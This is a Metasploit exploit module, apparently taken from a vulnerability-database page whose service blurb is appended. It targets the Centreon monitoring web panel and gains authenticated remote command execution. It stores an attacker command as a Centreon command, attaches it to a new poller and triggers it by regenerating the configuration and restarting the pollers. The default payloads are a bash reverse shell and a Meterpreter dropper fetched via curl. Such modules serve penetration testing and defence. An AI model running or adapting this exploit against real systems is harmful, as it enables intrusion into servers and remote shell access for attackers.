##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Centreon Poller Authenticated Remote Command Execution',
'Description' => %q{
TODO
},
'Author' => [
'Omri Baso', # discovery
'Fabien Aunay', # discovery
'mekhalleh (RAMELLA Sébastien)' # this module
],
'References' => [
# TODO: waiting for CVE
['EDB', '47977']
],
'DisclosureDate' => '2020-01-27',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Reverse shell (In-Memory)',
'Platform' => 'unix',
'Type' => :cmd_unix,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
],
['Meterpreter (Dropper)',
'Platform' => 'linux',
'Type' => :meterpreter,
'Arch' => ARCH_X64,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<>
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
])
end
def create_new_poller(poller_name, command_id)
print_status("Create new poller entry on the target.")
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'})
return false unless token
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'),
'cookie' => @cookies,
'partial' => true,
'vars_post' => {
'name' => poller_name,
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => '1',
'is_default[is_default]' => '0',
'remote_id' => '',
'ssh_port' => '22',
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => 'service cbd reload',
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => '/var/log/centreon-broker',
'centreonconnector_path' => '',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'pollercmd[0]' => command_id,
'clone_order_pollercmd_0' => '',
'ns_activate[ns_activate]' => '1',
'submitA' => 'Save',
'id' => '',
'o' => 'a',
'centreon_token' => token
}
)
return false unless response
return true
end
def execute_command(command, opts = {})
cmd_name = rand_text_alpha(8..42)
poller_name = rand_text_alpha(8..42)
## Register a miscellaneous command.
print_status("Upload command payload on the target.")
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'})
return false unless token
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'),
'cookie' => @cookies,
'partial' => true,
'vars_post' => {
'command_name' => cmd_name,
'command_type[command_type]' => '3',
'command_line' => command,
'resource' => '$CENTREONPLUGINS$',
'plugins' => '/Centreon/SNMP',
'macros' => '$ADMINEMAIL$',
'command_example' => '',
'listOfArg' => '',
'listOfMacros' => '',
'connectors' => '',
'graph_id' => '',
'command_activate[command_activate]' => '1',
'command_comment' => '',
'submitA' => 'Save',
'command_id' => '',
'type' => '3',
'o' => 'a',
'centreon_token' => token
}
)
return false unless response
## Create new poller to serve the payload.
create_new_poller(poller_name, get_command_id(cmd_name))
poller_id = get_poller_id(poller_name)
## Export configuration to reload to trigger the exploit.
unless poller_id.nil?
restart_exportation(poller_id)
end
end
def get_auth
print_status("Send authentication request.")
token = get_token(normalize_uri(target_uri.path, 'index.php'))
unless token.nil?
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => @cookies,
'vars_post' => {
'useralias' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submitLogin' => 'Connect',
'centreon_token' => token
}
)
return false unless response
if response.redirect?
if response.headers['location'].include?('main.php')
print_status('Successful authenticated.')
@cookies = response.get_cookies
return true
end
end
end
print_bad('Your credentials are incorrect.')
return false
end
def get_command_id(cmd_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'vars_get' => {
'p' => '60803',
'type' => '3'
}
)
return nil unless response
href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
return nil unless href
id = href.split('?')[1].split('&')[2].split('=')[1]
return id unless id.empty?
return nil
end
def get_poller_id(poller_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'vars_get' => {'p' => '60901'}
)
return nil unless response
href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
return nil unless href
id = href.split('?')[1].split('&')[2].split('=')[1]
return id unless id.empty?
return nil
end
def get_session
response = send_request_cgi(
'method' => 'HEAD',
'uri' => normalize_uri(target_uri.path, 'index.php')
)
cookies = response.get_cookies
return cookies unless cookies.empty?
end
def get_token(uri, params = {})
## Get centreon_token value.
request = {
'method' => 'GET',
'uri' => uri,
'cookie' => @cookies
}
request = request.merge({'vars_get' => params}) unless params.empty?
response = send_request_cgi(request)
return nil unless response
return response.get_html_document.at('input[@name="centreon_token"]')['value']
end
def restart_exportation(poller_id)
print_status("Reload the poller to trigger exploitation.")
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})
vprint_status(' -- Generating files.')
unless token.nil?
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
'cookie' => @cookies,
'vars_post' => {
'poller' => poller_id,
'debug' => 'true',
'generate' => 'true'
}
)
return nil unless response
vprint_status(' -- Restarting engine.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'cookie' => @cookies,
'vars_post' => {
'poller' => poller_id,
'mode' => '2'
}
)
return nil unless response
vprint_status(' -- Executing command.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
'cookie' => @cookies,
'vars_post' => {'poller' => poller_id}
)
return nil unless response
end
end
def check
# TODO: Detection by version number (waiting to know the impacted versions).
end
def exploit
## TODO: check
@cookies = get_session
logged = get_auth unless @cookies.empty?
if logged
case target['Type']
when :cmd_unix
execute_command(payload.encoded)
when :meterpreter
execute_command(generate_cmdstager.join)
end
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation